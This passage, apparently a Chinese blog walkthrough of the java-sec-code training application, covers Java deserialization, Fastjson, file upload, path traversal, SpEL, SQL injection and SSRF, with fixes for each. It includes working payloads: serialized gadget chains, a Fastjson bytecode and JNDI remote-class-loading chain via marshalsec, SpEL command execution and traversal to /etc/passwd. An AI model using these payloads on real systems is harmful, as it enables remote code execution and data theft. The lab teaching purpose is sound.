NvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg= 
访问页面
http://192.168.8.103:8080/java_sec_code_war/deserialize/rememberMe/vuln 
image-20210926172201962 
修复代码:
@RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request)         throws IOException, ClassNotFoundException {     Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);     if (null == cookie) {         return "No rememberMe cookie. Right?";     }     String rememberMe = cookie.getValue();     byte[] decoded = Base64.getDecoder().decode(rememberMe);     ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);     try {         AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException         in.readObject();         in.close();     } catch (InvalidClassException e) {         logger.info(e.toString());         return e.toString();     }     return "I'm very OK."; } 
修复方式是通过Hook resolveClass来校验反序列化的类
序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization 》
跟入后对应代码如下:
/**  * 只允许反序列化SerialObject class  *  * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。  * 类似fastjson通用类的反序列化就不能校验。  * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。  *  */ @Override protected Class<?> resolveClass(final ObjectStreamClass desc)         throws IOException, ClassNotFoundException {     String className = desc.getName();     // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject     logger.info("Deserialize class name: " + className);     String[] denyClasses = {"java.net.InetAddress",                             "org.apache.commons.collections.Transformer",                             "org.apache.commons.collections.functors"};     for (String denyClass : denyClasses) {         if (className.startsWith(denyClass)) {             throw new InvalidClassException("Unauthorized deserialization attempt", className);         }     }     return super.resolveClass(desc); } 
如果还是不太明白,可以参考:
浅谈Java反序列化漏洞修复方案 Java反序列化过程深究 8.Fastjson FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。
漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。
Fastjson反序列化漏洞被利用的原因,可以归结为两方面:
Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:
parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。
核心代码:
    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})     @ResponseBody     public String Deserialize(@RequestBody String params) {         // 如果Content-Type不设置application/json格式,post数据会被url编码         try {             // 将post提交的string转换为json             JSONObject ob = JSON.parseObject(params);             return ob.get("name").toString();         } catch (Exception e) {             return e.toString();         }     }     public static void main(String[] args) {         // Open calc in mac         String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";         JSON.parseObject(payload, Feature.SupportNonPublicField);     } } 
使用parseObject 来解析json字符串
用POST方法打开,Content-Type设置为application/json,暴露使用的fastjson:
image-20210927164036838 
使用DNSLOG验证 
{"@type":"java.net.Inet4Address","val":"dnslog"} {"name":{"@type":"java.net.InetAddress","val":"dnslog"}} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0 {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"} {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://dnslog/"], "Realms":[""]} {"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://dnslog/"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://dnslog/"} {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://dnslog/"}, "namespace":""} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog/", "autoCommit":true} {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://dnslog/"} {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"} {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://dnslog/"} {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://dnslog/"} 
image-20210927164811478 
image-20210927164834250 
任意命令执行 
// TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile {     static {         try {             Runtime rt = Runtime.getRuntime();             String[] commands = {"touch", "/tmp/success"};             Process pc = rt.exec(commands);             pc.waitFor();         } catch (Exception e) {             // do nothing         }     } 
编译代码,上传至服务器,我在本地使用Python http.server 进行搭建
javac TouchFile.java          //进行编译 python3 -m http.server 4444   //简单搭建web服务 
借助marshalsec 项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103/#TouchFile 9999 
在显示监听后,在客户端发送请求payload,主要看创建文件是否成功
{     "b":{         "@type":"com.sun.rowset.JdbcRowSetImpl",         "dataSourceName":"rmi://192.169.8.103:9999/TouchFile",         "autoCommit":true     } } 
image-20210928162052579 
发现已经访问
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999 * Opening JRMP listener on 9999 Have connection from /192.168.8.103:54177 Reading message... Is RMI.lookup call for TouchFile 2 Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class Closing connection ╰─$ python3 -m http.server 4444 Serving HTTP on :: port 4444 (http://[::]:4444/) ... ::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 - 
查看文件
image-20210928162106468 
Fastjson 1.2.24 反序列化漏洞深度分析 发现最新版本1.2.67依然可以通过dnslog判断正确是否使用fastjson 9.FileUpload 对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点:
大多数公司上传的文件都会到cdn spring的jsp文件必须在web-inf目录下才能执行 除非,可以上传war包到tomcat的webapps目录。
正常上传代码如下:
@PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file,                                RedirectAttributes redirectAttributes) {     if (file.isEmpty()) {         // 赋值给uploadStatus.html里的动态参数message         redirectAttributes.addFlashAttribute("message", "Please select a file to upload");         return "redirect:/file/status";     }     try {         // Get the file and save it somewhere         byte[] bytes = file.getBytes();         Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());         Files.write(path, bytes);         redirectAttributes.addFlashAttribute("message",                 "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");     } catch (IOException e) {         redirectAttributes.addFlashAttribute("message", "upload failed");         logger.error(e.toString());     }     return "redirect:/file/status"; } @GetMapping("/status") public String uploadStatus() {     return "uploadStatus"; } 
可以看到没有对后缀名,MIME,文件内容等内容进行校验,可以任意上传。
对图片上传做限制后的代码如下
@PostMapping("/upload/picture")     @ResponseBody     public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {         if (multifile.isEmpty()) {             return "Please select a file to upload";         }         String fileName = multifile.getOriginalFilename();         String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名         String mimeType = multifile.getContentType(); // 获取MIME类型         String filePath = UPLOADED_FOLDER + fileName;         File excelFile = convert(multifile);         // 判断文件后缀名是否在白名单内  校验1         String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};         boolean suffixFlag = false;         for (String white_suffix : picSuffixList) {             if (Suffix.toLowerCase().equals(white_suffix)) {                 suffixFlag = true;                 break;             }         }         if (!suffixFlag) {             logger.error("[-] Suffix error: " + Suffix);             deleteFile(filePath);             return "Upload failed. Illeagl picture.";         }         // 判断MIME类型是否在黑名单内 校验2         String[] mimeTypeBlackList = {                 "text/html",                 "text/javascript",                 "application/javascript",                 "application/ecmascript",                 "text/xml",                 "application/xml"         };         for (String blackMimeType : mimeTypeBlackList) {             // 用contains是为了防止text/html;charset=UTF-8绕过             if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {                 logger.error("[-] Mime type error: " + mimeType);                 deleteFile(filePath);                 return "Upload failed. Illeagl picture.";             }         }         // 判断文件内容是否是图片 校验3         boolean isImageFlag = isImage(excelFile);         deleteFile(randomFilePath);         if (!isImageFlag) {             logger.error("[-] File is not Image");             deleteFile(filePath);             return "Upload failed. Illeagl picture.";         }         try {             // Get the file and save it somewhere             byte[] bytes = multifile.getBytes();             Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());             Files.write(path, bytes);         } catch (IOException e) {             logger.error(e.toString());             deleteFile(filePath);             return "Upload failed";         }         logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);         logger.info("[+] Successfully uploaded {}", filePath);         return String.format("You successfully uploaded '%s'", filePath);     }     private void deleteFile(String filePath) {         File delFile = new File(filePath);         if(delFile.isFile() && delFile.exists()) {             if (delFile.delete()) {                 logger.info("[+] " + filePath + " delete successfully!");                 return;             }         }         logger.info(filePath + " delete failed!");     } 
1.对文件名做了白名单限制{“.jpg”, “.png”, “.jpeg”, “.gif”, “bmp”, “.ico”} 只允许对这些文件进行上传
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean suffixFlag = false; for (String white_suffix : picSuffixList) {     if (Suffix.toLowerCase().equals(white_suffix)) {         suffixFlag = true;         break;     } } if (!suffixFlag) {     logger.error("[-] Suffix error: " + Suffix);     deleteFile(filePath);     return "Upload failed. Illeagl picture."; } 
2.判断MIME类型是否在黑名单内
"text/html", "text/javascript", "application/javascript", "application/ecmascript", "text/xml", "application/xml" 
3.使用contains为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {     logger.error("[-] Mime type error: " + mimeType);     deleteFile(filePath);     return "Upload failed. Illeagl picture."; } 
4.使用IsImage()函数调用ImageIO.read()函数来检测内容是否为文件
private static boolean isImage(File file) throws IOException {     BufferedImage bi = ImageIO.read(file);     return bi != null; } 
5.上传文件时会通过uuid生成一个’/tmp’ + uuid + ‘png’ 这样的文件名,然后最后删除掉
    try {         // Get the file and save it somewhere         byte[] bytes = multifile.getBytes();         Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());         Files.write(path, bytes);     } catch (IOException e) {         logger.error(e.toString());         deleteFile(filePath);         return "Upload failed";     }     logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);     logger.info("[+] Successfully uploaded {}", filePath);     return String.format("You successfully uploaded '%s'", filePath); } private void deleteFile(String filePath) {     File delFile = new File(filePath);     if(delFile.isFile() && delFile.exists()) {         if (delFile.delete()) {             logger.info("[+] " + filePath + " delete successfully!");             return;         }     }     logger.info(filePath + " delete failed!"); } 
image-20211026084805243 
存在未对文件名做校验,存在路径穿越漏洞,参数修改为../../Users/oldthree/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war/1.png 我们可以上传图片到任意目录,上传图片马不解析
image-20211026084911718 
─ol4three ~/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war ╰─$ ls 1.png    META-INF WEB-INF 
直接进行访问即可
image-20211026085048387 
由于会重新随机生成文件名未在检测中进行,导致上传jsp失败仍然会在/tmp目录下进行生成随机数生成的.jsp
image-20211026092407832 
╭─ol4three /tmp ╰─$ ls 06dc320d-35fb-11ec-937b-c91feee9eae9.jsp 1989897e-35fb-11ec-937b-195f26ab9cc0.jsp 2156c28f-35fb-11ec-937b-a71889553c3e.jsp 
使用文件上传any接口上传jsp文件解析利用如下:
image-20211026091923728 
image-20211026091850244 
10.GetRequestURI 当应用存在静态资源目录,比如/css/目录,在权限校验时一般会选择放行,即不校验权限。研发同学用getRequestURI()获取URI后,判断是否包含 /css/字符串,如果包含则不校验权限。此时如果URI为/css/../hello,用getRequestURI()获取的URI是/css/../hello,包含/css/字符串,所以不校验权限。但是此时后端的路由为/hello,导致权限绕过。
核心代码如下:
@GetMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) {     String[] excluedPath = {"/css/**", "/js/**"};     String uri = request.getRequestURI(); // Security: request.getServletPath()     PathMatcher matcher = new AntPathMatcher();     logger.info("getRequestURI: " + uri);     logger.info("getServletPath: " + request.getServletPath());     for (String path : excluedPath) {         if (matcher.match(path, uri)) {             return "You have bypassed the login page.";         }     }     return "This is a login page >..<"; } 
可以看到判断包含/css/和/js/字符串如果包含则不进行校验权限
由于作者写的时候是使用根目录检测需要/css/..;/exclued/vuln 开头,可以修改网站根目录进行测试或者,手动调试修改代码
使用curl进行验证发现可以成功绕过return “You have bypasswd the login page.”
╰─$ curl -i -s -k  -X $'GET' \     -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36' -H $'Referer: http://172.20.10.6:8080/java_sec_code_war/login' \     -b $'JSESSIONID=41B2022F0376956FF0E5583CEC92FD3B; XSRF-TOKEN=7de740ac-305e-41b3-b711-438a1b068f77; remember-me=YWRtaW46MTYzNjM2NzI0NjU0NDozNTYwZjNiODFiODBhOTYxOTcxZGM4YWQ2NDY5ZTExZA' \     $'http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln' HTTP/1.1 200 X-Application-Context: application X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Content-Type: text/plain;charset=UTF-8 Content-Length: 33 You have bypassed the login page.% 
使用浏览器访问如下:http://172.20.10.6:8080/java_sec_code_war/uri/css/..;/exclued/vuln 
image-20211025182934819 
安全的方法是使用:getServletPath()方法,该方法会自动对URL
2021-10-25 18:28:11.268  INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI     : getRequestURI: /css/..;/exclued/vuln 2021-10-25 18:28:11.268  INFO 2967 --- [nio-8080-exec-5] org.joychou.controller.GetRequestURI     : getServletPath: /exclued/vuln 
使用getServletPath()方法对URI进行标准化(normalize),先对URI进行URLDecode,如果存在/../,将其返回到上一级目录,即/css/..;/exclued/vuln/处理为/exclued/vuln/,并将新的Path设置为servletPath。
11.PathTraversal 路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
核心代码:
/**  * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd  */ @GetMapping("/path_traversal/vul") public String getImage(String filepath) throws IOException {     return getImgBase64(filepath); }     private String getImgBase64(String imgFile) throws IOException {     logger.info("Working directory: " + System.getProperty("user.dir"));     logger.info("File path: " + imgFile);     File f = new File(imgFile);     if (f.exists() && !f.isDirectory()) {         byte[] data = Files.readAllBytes(Paths.get(imgFile));         return new String(Base64.encodeBase64(data));     } else {         return "File doesn't exist or is not a file.";     } } 
没有对文件名做校验存在漏洞
访问http://172.20.10.6:8080/java_sec_code_war/path_traversal/vul?filepath=../../../../../../../../etc/passwd 
image-20211026094047542 
修复代码:
@GetMapping("/path_traversal/sec") public String getImageSec(String filepath) throws IOException {     if (SecurityUtil.pathFilter(filepath) == null) {         logger.info("Illegal file path: " + filepath);         return "Bad boy. Illegal file path.";     }     return getImgBase64(filepath); } 
利用pathFilter对输入的路径进行过滤,跟进去查看pathFilter()函数
public static String pathFilter(String filepath) {     String temp = filepath;     // use while to sovle multi urlencode     while (temp.indexOf('%') != -1) {         try {             temp = URLDecoder.decode(temp, "utf-8");         } catch (UnsupportedEncodingException e) {             logger.info("Unsupported encoding exception: " + filepath);             return null;         } catch (Exception e) {             logger.info(e.toString());             return null;         }     }     if (temp.contains("..") || temp.charAt(0) == '/') {         return null;     }     return filepath; } 
对输入的参数先做检测若是URL编码先做解码,然后检测对”..”,”/“参数做过滤。
12.SpEL Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
核心代码:
@GetMapping("/spel/vuln") public String rce(String expression) {     ExpressionParser parser = new SpelExpressionParser();     // fix method: SimpleEvaluationContext     return parser.parseExpression(expression).getValue().toString(); } 
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算2*2,可以看到返回的值是经过解析后的4
image-20211026095240922 
执行下系统命令
http://172.20.10.6:8080/java_sec_code_war/spel/vuln/?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22) 
image-20211026095448592 
SPEL表达式注入-入门篇 由浅入深SpEL表达式注入漏洞 13.SQLI Sql注入修改mysql的配置之后即可进行,整体比较简单
核心代码:
@RequestMapping("/jdbc/vuln") public String jdbc_sqli_vul(@RequestParam("username") String username) {     StringBuilder result = new StringBuilder();     try {         Class.forName(driver);         Connection con = DriverManager.getConnection(url, user, password);         if (!con.isClosed())             System.out.println("Connect to database successfully.");         // sqli vuln code         Statement statement = con.createStatement();         String sql = "select * from users where username = '" + username + "'";         logger.info(sql);         ResultSet rs = statement.executeQuery(sql);         while (rs.next()) {             String res_name = rs.getString("username");             String res_pwd = rs.getString("password");             String info = String.format("%s: %s\n", res_name, res_pwd);             result.append(info);             logger.info(info);         }         rs.close();         con.close();     } catch (ClassNotFoundException e) {         logger.error("Sorry,can`t find the Driver!");     } catch (SQLException e) {         logger.error(e.toString());     }     return result.toString(); } 
直接对输入的username参数进行拼接存在sql注入漏洞
访问url:
http://localhost:8080/java_sec_code_war/sqli/mybatis/vuln01?username=joychou%27%20or%20%271%27=%271 
image-20211026181809439 
控制台输出如下:
DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01    : ==>  Preparing: select * from users where username = 'joychou' or '1'='1'  DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01    : ==> Parameters:  DEBUG 9753 --- [nio-8080-exec-2] o.j.m.UserMapper.findByUserNameVuln01    : <==      Total: 2 
修复代码如下:
@RequestMapping("/jdbc/sec") public String jdbc_sqli_sec(@RequestParam("username") String username) {     StringBuilder result = new StringBuilder();     try {         Class.forName(driver);         Connection con = DriverManager.getConnection(url, user, password);         if (!con.isClosed())             System.out.println("Connecting to Database successfully.");         // fix code         String sql = "select * from users where username = ?";         PreparedStatement st = con.prepareStatement(sql);         st.setString(1, username);         logger.info(st.toString());  // sql after prepare statement         ResultSet rs = st.executeQuery();         while (rs.next()) {             String res_name = rs.getString("username");             String res_pwd = rs.getString("password");             String info = String.format("%s: %s\n", res_name, res_pwd);             result.append(info);             logger.info(info);         }         rs.close();         con.close();     } catch (ClassNotFoundException e) {         logger.error("Sorry, can`t find the Driver!");         e.printStackTrace();     } catch (SQLException e) {         logger.error(e.toString());     }     return result.toString(); } 
prepareStatement()通过预处理方式进行修复
预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈'',对于中间点的单引号对其进行转义\',让其变成字符的单引号。Mybatis的#{}也是预处理方式处理SQL注入。
在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{}。因为#{}变量是经过预编译的,${}没有经过预编译。虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号''导致SQL语句失效。为防止SQL注入只能自己对其过滤。
根据下面的结果可以发现order by 'username'并没有用,第一条SQL和第二条SQL效果一样。
select * from users order by 'username' desc -- 结果为 joychou wilson lightless  select * from users                      -- 结果为 joychou wilson lightless  select * from users order by username        -- 结果为 joychou lightless wilson select * from users order by username desc   -- 结果为 wilson lightless joychou 
14.SSRF 1.漏洞简介 SSRF(Server-side Request Forge, 服务端请求伪造)。 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
2.支持协议 
file ftp mailto http https jar netdoc 
如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
3.重定向 Java默认会跟随重定向。先在一台服务器上写一个test.php,代码如下:
<?php $url = 'gopher://35.185.163.134:2333/_joy%0achou'; header("location: $url"); ?> 
启动apache 放置对应文件
sudo apachectl start cp ~/Desktop/test.php /Library/WebServer/Documents 
访问payload
http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=http://127.0.0.1/test.php 
收到异常:
java.net.MalformedURLException: unknown protocol: gopher 
跟踪报错代码:
private boolean followRedirect() throws IOException {     if(!this.getInstanceFollowRedirects()) {         return false;     } else {         final int var1 = this.getResponseCode();         if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {             final String var2 = this.getHeaderField("Location");             if(var2 == null) {                 return false;             } else {                 URL var3;                 try {                     // 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`                     var3 = new URL(var2);                     /* 该行代码,表示传入的协议必须和重定向的协议一致                      * 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致                      */                     if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {                         return false;                     }                 } catch (MalformedURLException var8) {                     var3 = new URL(this.url, var2);                 } 
从上面的followRedirect方法可以看到:
实际跳转的URL也在限制的协议内 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。 所以,Java的SSRF利用方式比较局限:
利用file协议任意文件读取 利用http协议探测端口或攻击内网服务 4.DNS Rebinding 先了解下Java应用的TTL机制。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。
Java TTL的值可以通过下面三种方式进行修改:
JVM添加启动参数-Dsun.net.inetaddr.ttl=0
通过代码进行修改
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); 
修改java.security里的networkaddress.cache.negative.ttl变量为0
5.总结 Java默认跟随重定向; Java默认TTL为10; 是否受DNS Rebinding影响取决于缓存; 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。 核心代码:
